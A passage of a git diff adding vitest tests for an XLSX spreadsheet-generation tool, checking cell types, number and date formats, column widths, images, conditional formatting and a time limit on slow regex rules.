const result = await generate({+ filename: 'e.xlsx',+ sheets: [{ name: `${'x'.repeat(30)}📈 extra`, rows: [['A'], [1]] }],+ })+ const [ws] = (await bookOf(result)).worksheets+ expect(ws.name).toBe('x'.repeat(30))+ })+})++describe('images', () => {+ it('embeds images on a sheet that has no rows', async () => {+ png('chart.png')+ const result = await generate({+ filename: 'g.xlsx',+ sheets: [+ { name: 'Data', rows: [['A'], [1]] },+ { name: 'Charts', rows: [], images: [{ path: 'chart.png', anchor: 'B2' }] },+ ],+ })+ const wb = await bookOf(result)+ expect(wb.getWorksheet('Charts')!.getImages()).toHaveLength(1)+ })++ it('stacks images without an anchor instead of piling them up', async () => {+ png('a.png')+ png('b.png')+ const result = await generate({+ filename: 't.xlsx',+ sheets: [{ name: 'D', rows: [['A'], [1]], images: [{ path: 'a.png' }, 'b.png'] }],+ })+ const images = (await bookOf(result)).worksheets[0].getImages()+ expect(images).toHaveLength(2)+ const [first, second] = images.map(i => i.range.tl.nativeRow)+ expect(second).toBeGreaterThan(first + 200 / 20)+ })++ it('reports images it could not embed', async () => {+ fs.writeFileSync(+ path.join(dir, 'x.svg'),+ '<svg xmlns="http://www.w3.org/2000/svg" width="40" height="20"><rect width="40" height="20" fill="red"/></svg>'+ )+ const result = await generate({+ filename: 'm.xlsx',+ sheets: [+ { name: 'D', rows: [['A'], [1]], images: [{ path: 'nope.png' }, { path: 'x.svg' }] },+ ],+ })+ const images = (await bookOf(result)).worksheets[0].getImages()+ expect(images).toHaveLength(1)+ expect(result.content).toContain('nope.png')+ })++ it('uses the file of that name when given a path from another mode', async () => {+ png('sales.png')+ const result = await generate({+ filename: 'p.xlsx',+ sheets: [{ name: 'D', rows: [['A'], [1]], images: [{ path: '/output/sales.png' }] }],+ })+ expect((await bookOf(result)).worksheets[0].getImages()).toHaveLength(1)+ expect(result.content).toContain('/output/sales.png')+ })++ it('places the branding logo beside the data on the first sheet', async () => {+ png('logo.png', 300, 100)+ const result = await generate({+ filename: 'l.xlsx',+ branding: { companyName: 'Example Co', logoPath: 'logo.png' },+ sheets: [+ {+ name: 'D',+ rows: [+ ['A', 'B'],+ [1, 2],+ ],+ },+ ],+ })+ const [image] = (await bookOf(result)).worksheets[0].getImages()+ expect(image).toBeDefined()+ expect(image.range.tl.nativeCol).toBeGreaterThanOrEqual(2)+ })++ it('puts the logo below a title when the first sheet has no columns', async () => {+ png('logo.png', 300, 100)+ png('chart.png')+ const result = await generate({+ filename: 'l3.xlsx',+ branding: { logoPath: 'logo.png' },+ sheets: [+ { name: 'D', titleRow: { text: 'Quarterly report' }, rows: [], images: ['chart.png'] },+ ],+ })+ const [logo, chart] = (await bookOf(result)).worksheets[0].getImages()+ expect(logo.range.tl.nativeRow).toBeGreaterThanOrEqual(1)+ expect(chart.range.tl.nativeRow).toBeGreaterThan(logo.range.tl.nativeRow + 60 / 20)+ })++ it('says so when the logo is missing', async () => {+ const result = await generate({+ filename: 'l2.xlsx',+ branding: { logoPath: 'missing-logo.png' },+ sheets: [{ name: 'D', rows: [['A'], [1]] }],+ })+ expect(result.success).toBe(true)+ expect(result.content).toContain('missing-logo.png')+ })+})++describe('column widths', () => {+ it('ignores the merged title row', async () => {+ const rows = [+ ['Month', 'Units'],+ ['Jan', 1],+ ]+ const plain = await bookOf(+ await generate({ filename: 'a.xlsx', sheets: [{ name: 'S', rows }] })+ )+ const titled = await bookOf(+ await generate({+ filename: 'b.xlsx',+ sheets: [+ { name: 'S', titleRow: { text: 'Resumen trimestral de ventas por region 2026' }, rows },+ ],+ })+ )+ const widths = (wb: ExcelJS.Workbook) => wb.worksheets[0].columns.map(c => c.width)+ expect(widths(titled)).toEqual(widths(plain))+ })++ it('wraps a title wider than the table instead of cutting it off', async () => {+ const wb = await bookOf(+ await generate({+ filename: 'b.xlsx',+ sheets: [+ {+ name: 'S',+ titleRow: { text: 'Resumen trimestral de ventas por region 2026' },+ rows: [+ ['Month', 'Units'],+ ['Jan', 1],+ ],+ },+ ],+ })+ )+ const title = wb.worksheets[0].getRow(1)+ expect(title.getCell(1).alignment?.wrapText).toBe(true)+ expect(title.height).toBeGreaterThan(28)+ })++ it('leaves a title that fits on one line', async () => {+ const wb = await bookOf(+ await generate({+ filename: 'c.xlsx',+ sheets: [{ name: 'S', titleRow: { text: 'Sales' }, rows: [['Month'], ['Jan']] }],+ })+ )+ const title = wb.worksheets[0].getRow(1)+ expect(title.getCell(1).alignment?.wrapText).toBeFalsy()+ expect(title.height).toBe(28)+ })++ it('widens the only column for a sheet that holds just a title', async () => {+ const text = 'Quarterly report for the whole company'+ const wb = await bookOf(+ await generate({+ filename: 'd.xlsx',+ sheets: [{ name: 'S', titleRow: { text }, rows: [] }],+ })+ )+ expect(wb.worksheets[0].getColumn(1).width).toBeGreaterThanOrEqual(text.length)+ })++ it('counts wide CJK characters twice', async () => {+ const text = '北京市朝阳区建国门外大街一号国贸大厦三十层销售部门'+ const wb = await bookOf(+ await generate({ filename: 'u.xlsx', sheets: [{ name: 'U', rows: [['产品'], [text]] }] })+ )+ expect(wb.worksheets[0].columns[0].width).toBeGreaterThanOrEqual(text.length * 2)+ })++ it('measures numbers as they are displayed', async () => {+ const wb = await bookOf(+ await generate({+ filename: 'w.xlsx',+ sheets: [{ name: 'S', rows: [['Revenue'], [12345678.5]] }],+ })+ )+ // "$12,345,678.50 " is 15 characters wide; the raw value is 10.+ expect(wb.worksheets[0].columns[0].width).toBeGreaterThanOrEqual(15)+ })+})++describe('file names', () => {+ it('keeps two reports whose names differ only in non-Latin characters', async () => {+ const sheets = [{ name: 'S', rows: [['A'], [1]] }]+ const a = await generate({ filename: '销售报告.xlsx', sheets })+ const b = await generate({ filename: '库存报告.xlsx', sheets })+ expect(a.artifact!.name).not.toBe(b.artifact!.name)+ expect(fs.existsSync(a.artifact!.path)).toBe(true)+ expect(fs.existsSync(b.artifact!.path)).toBe(true)+ })++ it('names an unnamed workbook instead of writing a hidden file', async () => {+ const result = await generate({ filename: '', sheets: [{ name: 'S', rows: [['A'], [1]] }] })+ expect(result.artifact!.name).toBe('output.xlsx')+ })+})++describe('images sent at the top level', () => {+ it('are placed on the first sheet, with a note', async () => {+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-xlsx-top-'))+ try {+ const chart = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_chart')!+ await chart.execute(+ { filename: 'c.png', type: 'bar', data: { labels: ['a'], datasets: [{ data: [1] }] } },+ dir+ )+ const result = await INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_xlsx')!.execute(+ {+ filename: 't.xlsx',+ sheets: [{ name: 'S', rows: [['a'], [1]] }],+ images: [{ path: 'c.png' }],+ },+ dir+ )+ expect(result.success).toBe(true)+ expect(result.content).toContain('the top-level images were placed on the first sheet')+ const entries = [...zipEntries(result.artifact!.path).keys()]+ expect(entries.some(name => name.startsWith('xl/media/'))).toBe(true)+ } finally {+ fs.rmSync(dir, { recursive: true, force: true })+ }+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.xlsx.values.test.ts b/mcp-host/src/workflow/__tests__/internalTools.xlsx.values.test.tsnew file mode 100644index 000000000..ceb935bdd--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.xlsx.values.test.ts@@ -0,0 +1,597 @@+/**+ * What lands in each XLSX cell: its type, its number format and the rules that+ * style it. Each file is read back with ExcelJS, because a success flag says+ * nothing about whether "1,234.50" became a number Excel can sum.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import ExcelJS from 'exceljs'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { StepMcpRouter } from '../stepRouter'+import type { InternalToolResult } from '../types'+import { zipEntryText } from './support/zipEntries'++let dir: string++beforeEach(() => {+ dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-xlsx-values-'))+})++afterEach(() => {+ fs.rmSync(dir, { recursive: true, force: true })+})++const xlsx = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_xlsx')!++async function generate(args: Record<string, unknown>): Promise<InternalToolResult> {+ return xlsx.execute(args, dir)+}++async function sheetOf(result: InternalToolResult, index = 0): Promise<ExcelJS.Worksheet> {+ expect(result.success, result.error).toBe(true)+ const wb = new ExcelJS.Workbook()+ await wb.xlsx.readFile(result.artifact!.path)+ return wb.worksheets[index]+}++async function oneSheet(rows: unknown[][], extra: Record<string, unknown> = {}) {+ const result = await generate({ filename: 'v.xlsx', sheets: [{ name: 'S', rows, ...extra }] })+ return { result, ws: await sheetOf(result) }+}++function fillOf(cell: ExcelJS.Cell): string | undefined {+ const fill = cell.fill as ExcelJS.FillPattern | undefined+ return fill?.fgColor?.argb+}++describe('numbers reach the sheet as numbers', () => {+ it('accepts numeric, boolean and null cells on the workflow path', async () => {+ const router = new StepMcpRouter(() => {+ throw new Error('no MCP servers in this test')+ })+ router.registerInternalTools(INTERNAL_TOOLS, dir)+ const { result } = await router.callTool('clerum__generate_xlsx', {+ filename: 'wf.xlsx',+ sheets: [+ {+ name: 'S',+ rows: [+ ['Month', 'Revenue', 'Units', 'Paid'],+ ['Jan', 12500.5, 320, true],+ ['Feb', 13900, null, false],+ ],+ conditionalFormatting: [{ column: 1, rules: [{ equals: 13900, fillColor: '#fee2e2' }] }],+ },+ ],+ })+ expect(result.isError).toBe(false)+ const ws = await sheetOf(result.content as InternalToolResult)+ expect(ws.getCell('B2').value).toBe(12500.5)+ expect(ws.getCell('C2').value).toBe(320)+ expect(ws.getCell('D2').value).toBe(true)+ expect(fillOf(ws.getCell('B3'))).toBe('FFFEE2E2')+ })++ it('converts numbers, currency and percents written as text', async () => {+ const { ws } = await oneSheet([+ ['Item', 'Amount', 'Pct', 'Price', 'Delta'],+ ['A', '1,234.50', '45%', '$1,200', '-300'],+ ['B', '980', '12.5%', '€2,500.75', '-12.5'],+ ])+ expect(ws.getCell('B2').value).toBe(1234.5)+ expect(ws.getCell('B3').value).toBe(980)+ expect(ws.getCell('C2').value).toBeCloseTo(0.45, 12)+ expect(ws.getCell('C2').numFmt).toMatch(/%/)+ expect(ws.getCell('C3').value).toBeCloseTo(0.125, 12)+ expect(ws.getCell('D2').value).toBe(1200)+ expect(ws.getCell('D2').numFmt).toContain('"$"')+ expect(ws.getCell('D3').value).toBe(2500.75)+ expect(ws.getCell('D3').numFmt).toContain('"€"')+ expect(ws.getCell('E2').value).toBe(-300)+ expect(ws.getCell('E3').value).toBe(-12.5)+ })++ it('keeps identifiers and ambiguous text as text', async () => {+ const { result, ws } = await oneSheet([+ ['Code', 'Card', 'Phone', 'Weight', 'Monto'],+ ['00123', '4111111111111111', '+1 555 0100', '12 kg', '1.200'],+ ])+ expect(ws.getCell('A2').value).toBe('00123')+ expect(ws.getCell('B2').value).toBe('4111111111111111')+ expect(ws.getCell('C2').value).toBe('+1 555 0100')+ expect(ws.getCell('D2').value).toBe('12 kg')+ // "1.200" is 1.2 in English and 1200 in Spanish: text, and the agent is told.+ expect(ws.getCell('E2').value).toBe('1.200')+ expect(result.content).toContain("'1.200'")+ })++ it('does not reinterpret text in a column declared as text', async () => {+ const { ws } = await oneSheet([['Ref'], ['1,234'], ['45%']], { columnFormats: { Ref: 'text' } })+ expect(ws.getCell('A2').value).toBe('1,234')+ expect(ws.getCell('A3').value).toBe('45%')+ })++ it('turns strict ISO 8601 dates into dates', async () => {+ const { result, ws } = await oneSheet([+ ['Fecha', 'Stamp', 'Bad'],+ ['2026-09-22', '2026-09-23T10:00:00Z', '2026-02-30'],+ ['2026-09-24', '2026-09-23T10:00:00-06:00', '22/09/2026'],+ ])+ const a2 = ws.getCell('A2')+ expect(a2.value).toBeInstanceOf(Date)+ expect((a2.value as Date).toISOString()).toBe('2026-09-22T00:00:00.000Z')+ expect(a2.numFmt).toBe('yyyy-mm-dd')+ const b2 = ws.getCell('B2')+ expect((b2.value as Date).toISOString()).toBe('2026-09-23T10:00:00.000Z')+ expect(b2.numFmt).toBe('yyyy-mm-dd hh:mm')+ expect((ws.getCell('B3').value as Date).toISOString()).toBe('2026-09-23T16:00:00.000Z')+ expect(result.content).toMatch(/UTC/)+ expect(ws.getCell('C2').value).toBe('2026-02-30')+ expect(ws.getCell('C3').value).toBe('22/09/2026')+ })++ it('keeps dates Excel would show a day late as text', async () => {+ const { result, ws } = await oneSheet([+ ['Fecha'],+ ['1900-01-15'],+ ['1900-02-28'],+ ['1900-03-01'],+ ])+ expect(ws.getCell('A2').value).toBe('1900-01-15')+ expect(ws.getCell('A3').value).toBe('1900-02-28')+ expect((ws.getCell('A4').value as Date).toISOString()).toBe('1900-03-01T00:00:00.000Z')+ // Serial 61 is 1900-03-01 in Excel, which counts a 29 February 1900.+ expect(zipEntryText(result.artifact!.path, 'xl/worksheets/sheet1.xml')).toMatch(+ /<c r="A4"[^>]*><v>61<\/v>/+ )+ })++ it('names cells that could not take the format their column asked for', async () => {+ const long = 'x'.repeat(100)+ const { result, ws } = await oneSheet(+ [+ ['Fecha', 'Monto', 'Units'],+ ['22/09/2026', '1.234,50', long],+ ['2026-09-22', 1234.5, 3],+ ],+ { columnFormats: { Fecha: 'date', Monto: 'currency:EUR', Units: 'integer' } }+ )+ expect(ws.getCell('A2').value).toBe('22/09/2026')+ expect(ws.getCell('B3').numFmt).toContain('€')+ expect(result.content).toMatch(/'Fecha'.*'22\/09\/2026'.*ISO 8601/)+ expect(result.content).toMatch(/'Monto'.*'1\.234,50'.*JSON number/)+ expect(result.content).toContain(`'${'x'.repeat(40)}…'`)+ expect(result.content).not.toContain(long)+ })++ it('keeps an identifier column all numbers or all text, never a mix', async () => {+ const { ws } = await oneSheet([+ ['Order ID', 'Zip'],+ [100234, '02134'],+ ['100235', '90210'],+ ])+ expect(ws.getCell('A3').value).toBe(100235)+ expect(ws.getCell('A3').numFmt).toBe('0')+ expect(ws.getCell('B2').value).toBe('02134')+ expect(ws.getCell('B3').value).toBe('90210')+ })+})++describe('column formats', () => {+ it('reads 0-100 values in a percent column as percentage points', async () => {+ const { ws } = await oneSheet([+ ['Conversion rate %', 'Share'],+ [12.5, 0.12],+ [45, 0.45],+ ])+ expect(ws.getCell('A2').value).toBeCloseTo(0.125, 12)+ expect(ws.getCell('A3').value).toBeCloseTo(0.45, 12)+ expect(ws.getCell('A2').numFmt).toMatch(/%$/)+ expect(ws.getCell('B2').value).toBe(0.12)+ expect(ws.getCell('B2').numFmt).toMatch(/%$/)+ })++ it('matches header words, not fragments of them', async () => {+ const { ws } = await oneSheet([+ ['Candidates', 'Strategy score', 'Carrier', 'Feedback score', 'Shareholders'],+ [12, 85, 3, 4.5, 20],+ ])+ expect(ws.getCell('A2').value).toBe(12)+ expect(ws.getCell('A2').numFmt).not.toMatch(/y/)+ expect(ws.getCell('B2').numFmt ?? '').not.toMatch(/%/)+ expect(ws.getCell('C2').numFmt ?? '').not.toMatch(/\$/)+ expect(ws.getCell('D2').numFmt ?? '').not.toMatch(/\$/)+ expect(ws.getCell('E2').numFmt ?? '').not.toMatch(/%/)+ })++ it('understands Spanish and Portuguese headers', async () => {+ const { ws } = await oneSheet([+ ['Fecha', 'Tasa de conversión', 'Importe EUR', 'Preço (R$)'],+ [46023, 0.12, 8100.25, 99.9],+ ])+ expect(ws.getCell('A2').value).toBeInstanceOf(Date)+ expect(ws.getCell('A2').numFmt).toBe('yyyy-mm-dd')+ expect(ws.getCell('B2').numFmt).toMatch(/%$/)+ expect(ws.getCell('C2').numFmt).toContain('"€"')+ expect(ws.getCell('D2').numFmt).toContain('"R$"')+ })++ it('writes years and identifiers without a thousands separator', async () => {+ const { ws } = await oneSheet([+ ['Year', 'Order ID', 'Año', 'Units'],+ [2026, 100234, 2025, 1500],+ ])+ expect(ws.getCell('A2').numFmt).toBe('0')+ expect(ws.getCell('B2').numFmt).toBe('0')+ expect(ws.getCell('C2').numFmt).toBe('0')+ expect(ws.getCell('D2').numFmt).toBe('#,##0')+ })++ it('uses the currency the header names instead of assuming dollars', async () => {+ const { ws } = await oneSheet(+ [+ ['Cost EUR', 'Monto MXN', 'Revenue', 'Fee'],+ [8100.25, 99000, 1200.5, 10],+ ],+ { columnFormats: { Fee: 'currency:GBP' } }+ )+ expect(ws.getCell('A2').numFmt).toContain('"€"')+ expect(ws.getCell('A2').numFmt).not.toContain('"$"')+ expect(ws.getCell('B2').numFmt).toContain('"MX$"')+ expect(ws.getCell('C2').numFmt).toContain('"$"')+ expect(ws.getCell('D2').numFmt).toContain('"£"')+ })++ it('resolves columnFormats keys by header in any case, letter or index', async () => {+ const { result, ws } = await oneSheet(+ [+ ['Month', 'Total', 'Net', 'Tax'],+ ['Jan', 1500.5, 20, 0.16],+ ],+ {+ columnFormats: {+ total: 'currencyUsd',+ C: 'currencyEur',+ '3': 'percentage',+ Missing: 'decimal',+ Month: 'money please',+ },+ }+ )+ expect(ws.getCell('B2').numFmt).toContain('"$"')+ expect(ws.getCell('C2').numFmt).toContain('"€"')+ expect(ws.getCell('D2').numFmt).toBe('0.0%')+ expect(result.content).toContain("'Missing'")+ expect(result.content).toContain("'money please'")+ })+})++describe('conditional formatting', () => {+ it('finds the column by header, letter or 0-based index and compares numbers as numbers', async () => {+ const { result, ws } = await oneSheet(+ [+ ['Status', 'Amount', 'Quick Win'],+ ['Late', '1,500', 1],+ ['ok', 100, '0'],+ ],+ {+ conditionalFormatting: [+ { column: 'status', rules: [{ equals: 'late', fillColor: '#fee2e2' }] },+ { column: 'B', rules: [{ greaterThan: 1000, fillColor: '#dcfce7' }] },+ { column: 1, rules: [{ equals: '100', fillColor: '#fef9c3' }] },+ { column: 'Quick Win', rules: [{ equals: 1, fillColor: '#fef3c7' }] },+ { column: 'Nope', rules: [{ equals: 1, fillColor: '#000000' }] },+ ],+ }+ )+ expect(fillOf(ws.getCell('A2'))).toBe('FFFEE2E2')+ expect(fillOf(ws.getCell('B2'))).toBe('FFDCFCE7')+ expect(fillOf(ws.getCell('B3'))).toBe('FFFEF9C3')+ expect(fillOf(ws.getCell('C2'))).toBe('FFFEF3C7')+ expect(fillOf(ws.getCell('C3'))).not.toBe('FFFEF3C7')+ expect(result.content).toContain("'Nope'")+ })++ it('compares percentages and currency with the number as written', async () => {+ const { ws } = await oneSheet(+ [+ ['Growth %', 'Price'],+ ['45%', '$1,200'],+ [12, '$80'],+ ],+ {+ conditionalFormatting: [+ { column: 'Growth %', rules: [{ greaterThan: 40, fillColor: '#dcfce7' }] },+ { column: 'Price', rules: [{ between: [1000, 2000], fillColor: '#fee2e2' }] },+ ],+ }+ )+ expect(fillOf(ws.getCell('A2'))).toBe('FFDCFCE7')+ expect(fillOf(ws.getCell('A3'))).not.toBe('FFDCFCE7')+ expect(fillOf(ws.getCell('B2'))).toBe('FFFEE2E2')+ expect(fillOf(ws.getCell('B3'))).not.toBe('FFFEE2E2')+ })++ it('tests regex and contains against the text as written', async () => {+ const { ws } = await oneSheet([['Price'], ['$1,200'], ['80']], {+ conditionalFormatting: [+ { column: 'Price', rules: [{ regex: '^\\$', fillColor: '#fee2e2' }] },+ ],+ })+ expect(fillOf(ws.getCell('A2'))).toBe('FFFEE2E2')+ expect(fillOf(ws.getCell('A3'))).not.toBe('FFFEE2E2')+ })+})++describe('colors', () => {+ it('accepts shorthand hex and CSS names, and falls back with a warning otherwise', async () => {+ const result = await generate({+ filename: 'c.xlsx',+ sheets: [+ {+ name: 'S',+ titleRow: { text: 'T', fillColor: '#f00', fontColor: 'white' },+ rows: [['v'], [5], [6]],+ conditionalFormatting: [+ {+ column: 'v',+ rules: [+ { equals: 5, fillColor: 'green' },+ { equals: 6, fillColor: 'not-a-color' },+ ],+ },+ ],+ },+ ],+ })+ const ws = await sheetOf(result)+ expect(fillOf(ws.getCell('A1'))).toBe('FFFF0000')+ expect(fillOf(ws.getCell('A3'))).toBe('FF008000')+ expect(result.content).toContain('conditionalFormatting[0].rules[1].fillColor')+ })++ it('reads #RRGGBBAA as CSS and a bare 8-digit hex as Excel ARGB', async () => {+ const result = await generate({+ filename: 'c8.xlsx',+ sheets: [+ {+ name: 'S',+ titleRow: { text: 'T', fillColor: '#ff000080' },+ rows: [['v'], [5]],+ conditionalFormatting: [{ column: 'v', rules: [{ equals: 5, fillColor: 'FF1E3A8A' }] }],+ },+ ],+ })+ const ws = await sheetOf(result)+ expect(fillOf(ws.getCell('A1'))).toBe('FFFF0000')+ expect(fillOf(ws.getCell('A3'))).toBe('FF1E3A8A')+ })+})++describe('signs, identifiers and text left as sent', () => {+ it('reads a leading plus as a sign on a quantity, and keeps phone numbers as text', async () => {+ const { ws } = await oneSheet([+ ['Metric', 'Change %', 'Change $', 'Delta', 'Phone'],+ ['Revenue', '+12%', '+$144', '+5', '+34600111222'],+ ['Churn', '-3%', '-$0.15', '-3', '+1 555 0100'],+ ['NPS', '+0.5%', '+$0.2', '+1,500', '+1-800-555-0100'],+ ])+ expect(ws.getCell('B2').value).toBeCloseTo(0.12, 12)+ expect(ws.getCell('B4').value).toBeCloseTo(0.005, 12)+ expect(ws.getCell('C2').value).toBe(144)+ expect(ws.getCell('C4').value).toBe(0.2)+ expect(ws.getCell('D2').value).toBe(5)+ expect(ws.getCell('D4').value).toBe(1500)+ expect(ws.getCell('E2').value).toBe('+34600111222')+ expect(ws.getCell('E3').value).toBe('+1 555 0100')+ expect(ws.getCell('E4').value).toBe('+1-800-555-0100')+ })++ it('writes identifier columns without thousands separators', async () => {+ const headers = [+ 'Invoice No.',+ 'Invoice #',+ 'Account number',+ 'Employee number',+ 'Número de factura',+ 'NIF',+ 'Ticket',+ ]+ const { ws } = await oneSheet([+ [...headers, 'Number of employees'],+ [10023, 10023, 1234567890, 4501, 20260001, 12345678, 5521, 1500],+ ])+ headers.forEach((_, c) => expect(ws.getRow(2).getCell(c + 1).numFmt).toBe('0'))+ expect(ws.getCell('H2').numFmt).toBe('#,##0')+ })++ it('keeps a column of codes as text when any of them has a leading zero', async () => {+ const { result, ws } = await oneSheet([['Account'], ['0012345678'], ['1234567890'], [9]])+ expect(ws.getCell('A2').value).toBe('0012345678')+ expect(ws.getCell('A3').value).toBe('1234567890')+ expect(ws.getCell('A4').value).toBe('9')+ expect(result.content).toContain("'0012345678'")+ })++ it('names number- and date-looking text it could not read, once per column', async () => {+ const { result, ws } = await oneSheet([+ ['Concepto', 'Importe', 'Tasa', 'Precio', 'Fecha', 'Delta', 'Big'],+ ['Alquiler', '1.234,50', '12,5%', '€1.200,00', '22/09/2026', '−12.5', '1e6'],+ ['Luz', '98,10', '3,1%', '€80,00', '23/09/2026', '−3', '2e6'],+ ])+ expect(ws.getCell('B2').value).toBe('1.234,50')+ // U+2212 is a minus sign and nothing else.+ expect(ws.getCell('F2').value).toBe(-12.5)+ const notes = result.content ?? ''+ for (const column of ['Importe', 'Tasa', 'Precio', 'Fecha', 'Big']) {+ expect(notes).toMatch(new RegExp(`'${column}': 2 values such as '[^']+' were kept as text`))+ }+ expect(notes).not.toContain("'Concepto'")+ expect(notes).not.toContain("'Delta'")+ })++ it("cuts text at Excel's 32,767-character cell limit and says where", async () => {+ const long = 'x'.repeat(40_000)+ const { result, ws } = await oneSheet(+ [+ ['Notes', 'Other'],+ [long, 'ok'],+ ],+ { titleRow: { text: `T${long}` } }+ )+ expect((ws.getCell('A3').value as string).length).toBe(32_767)+ expect((ws.getCell('A1').value as string).length).toBe(32_767)+ expect(result.content).toContain('cell A3 was cut to 32,767 characters')+ expect(result.content).toContain('titleRow.text was cut to 32,767 characters')+ })++ it('does not split an emoji when cutting at the cell limit', async () => {+ const text = `${'x'.repeat(32_766)}\u{1F600}tail`+ const { ws } = await oneSheet([['Notes'], [text]])+ expect(ws.getCell('A2').value).toBe('x'.repeat(32_766))+ })+})++describe('percent columns and format codes', () => {+ it('says how an inferred percent column was read', async () => {+ const { result, ws } = await oneSheet([+ ['Month', 'Churn %', 'Interest rate %', 'Share'],+ ['Jan', 0.8, 0.25, 0.12],+ ['Feb', 1.1, 0.5, 0.45],+ ['Mar', 0.9, 0.75, 0.3],+ ])+ // Past 1 with a '%' header, 1.1 is 1.1%, not 110%.+ expect(ws.getCell('B3').value).toBe(0.011)+ expect(result.content).toMatch(/'Churn %'.*percentage points.*'Churn %': 'percent'/)+ expect(ws.getCell('C2').value).toBe(0.25)+ expect(result.content).toMatch(/'Interest rate %'.*fractions \(0\.8 = 80%\).*percentPoints/)+ expect(result.content).toMatch(/'Share'.*fractions/)+ })++ it('refuses Excel format codes with more than four sections or unbalanced quotes', async () => {+ const { result, ws } = await oneSheet(+ [+ ['A', 'B', 'C', 'D'],+ [1.5, 2.5, 3.5, 4.5],+ ],+ { columnFormats: { A: '#,##0.0;;;;', B: '0;0;0;0;0', C: '0 "kg', D: '#,##0.0;;;' } }+ )+ expect(ws.getCell('A2').numFmt).not.toBe('#,##0.0;;;;')+ expect(ws.getCell('B2').numFmt).not.toBe('0;0;0;0;0')+ expect(ws.getCell('C2').numFmt).not.toBe('0 "kg')+ expect(ws.getCell('D2').numFmt).toBe('#,##0.0;;;')+ for (const key of ["['A']", "['B']", "['C']"]) expect(result.content).toContain(key)+ expect(result.content).not.toContain("['D']")+ })+})++describe('regex rules', () => {+ it('reports an invalid regex as invalid, not as slow', async () => {+ const { result } = await oneSheet([['Region'], ['North']], {+ conditionalFormatting: [{ column: 'Region', rules: [{ regex: '[', fillColor: '#000000' }] }],+ })+ expect(result.content).toContain('rules[0].regex is not a valid regular expression')+ expect(result.content).not.toContain('nested repetition')+ })++ it('stops regexes that backtrack exponentially within one time budget', async () => {+ const evil = ['^(a|a)*$', '^(a|aa)*$', '^(\\w|\\d)*$']+ const sheet = (name: string) => ({+ name,+ rows: [+ ['Name'],+ ...Array.from({ length: 20 }, (_, i) => [`${(i % 2 ? '1' : 'a').repeat(35 + i)}!`]),+ ],+ conditionalFormatting: [+ { column: 'Name', rules: evil.map(regex => ({ regex, fillColor: '#fee2e2' })) },+ ],+ })+ const started = Date.now()+ const result = await generate({ filename: 'redos.xlsx', sheets: [sheet('A'), sheet('B')] })+ // Loose, so a slow machine passes; one unbounded match of these takes minutes.+ expect(Date.now() - started).toBeLessThan(15_000)+ expect(result.success, result.error).toBe(true)+ expect(result.content).toContain('regex took too long to test')+ const ws = await sheetOf(result)+ expect(fillOf(ws.getCell('A2'))).not.toBe('FFFEE2E2')+ }, 30_000)++ it('still runs ordinary regex rules on a large sheet', async () => {+ const rows = [['Code'], ...Array.from({ length: 20_000 }, (_, i) => [`R-${i}`])]+ const { result, ws } = await oneSheet(rows, {+ conditionalFormatting: [+ { column: 'Code', rules: [{ regex: '^R-1\\d*5$', fillColor: '#fee2e2' }] },+ ],+ })+ expect(result.content ?? '').not.toContain('took too long')+ expect(fillOf(ws.getCell('A17'))).toBe('FFFEE2E2')+ expect(fillOf(ws.getCell('A18'))).not.toBe('FFFEE2E2')+ }, 30_000)+})++describe('formats that fit the value', () => {+ it('keeps the format of a percent or another currency under a requested format, with a note', async () => {+ const { result, ws } = await oneSheet(+ [+ ['Growth', 'Share', 'Price'],+ ['45%', '$1,200', '$1,200'],+ [12, 0.3, '€50'],+ ],+ { columnFormats: { Growth: 'integer', Share: 'percent', Price: 'currency:EUR' } }+ )+ expect(ws.getCell('A2').numFmt).toBe('0%')+ expect(ws.getCell('B2').numFmt).toContain('"$"')+ expect(ws.getCell('C2').numFmt).toContain('"$"')+ expect(ws.getCell('C3').numFmt).toContain('€')+ expect(ws.getCell('A3').numFmt).toBe('#,##0')+ expect(result.content).toContain("column 'Growth': '45%' does not fit the format")+ })++ it('reads amounts under headers that name an identifier word as amounts', async () => {+ const { ws } = await oneSheet([+ ['Ticket price', 'Code coverage', 'Mobile revenue', 'Ticket'],+ ['$45.00', '85%', '$1,200', '00123'],+ ])+ expect(ws.getCell('A2').value).toBe(45)+ expect(ws.getCell('B2').value).toBe(0.85)+ expect(ws.getCell('C2').value).toBe(1200)+ expect(ws.getCell('D2').value).toBe('00123')+ })++ it('keeps counts under event words as counts, and dates them only when the header says so', async () => {+ const { ws } = await oneSheet([+ ['Accounts created', 'Created at'],+ [24512, 46000],+ ])+ expect(ws.getCell('A2').value).toBe(24512)+ expect(ws.getCell('B2').value).toBeInstanceOf(Date)+ })++ it('shows as many decimals as the values need, and a percent cell its own', async () => {+ const { ws } = await oneSheet([+ ['p-value', 'Latitude', 'Score', 'Pct mix'],+ [0.0012, 40.416775, 12.5, '12.5%'],+ [0.00004, -3.7038, 3.25, 5],+ ])+ expect(ws.getCell('A2').numFmt).toBe('#,##0.00000')+ expect(ws.getCell('B2').numFmt).toBe('#,##0.000000')+ expect(ws.getCell('C2').numFmt).toBe('#,##0.00')+ expect(ws.getCell('D2').numFmt).toBe('0.0%')+ })++ it('refuses an image anchor outside the sheet with a message naming it', async () => {+ const chart = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_chart')!+ await chart.execute(+ { filename: 'c.png', type: 'bar', data: { labels: ['a'], datasets: [{ data: [1] }] } },+ dir+ )+ const result = await generate({+ filename: 'a.xlsx',+ sheets: [{ name: 'S', rows: [['a'], [1]], images: [{ path: 'c.png', anchor: 'ZZZ1' }] }],+ })+ expect(result.success).toBe(false)+ expect(result.error).toContain('Invalid cell anchor "ZZZ1"')+ })+})diff --git a/mcp-host/src/workflow/__tests__/schemaArguments.test.ts b/mcp-host/src/workflow/__tests__/schemaArguments.test.tsnew file mode 100644index 000000000..6c72bcbde--- /dev/null+++ b/mcp-host/src/workflow/__tests__/schemaArguments.test.ts@@ -0,0 +1,153 @@+import { describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { unknownArguments, withoutUnsetNulls } from 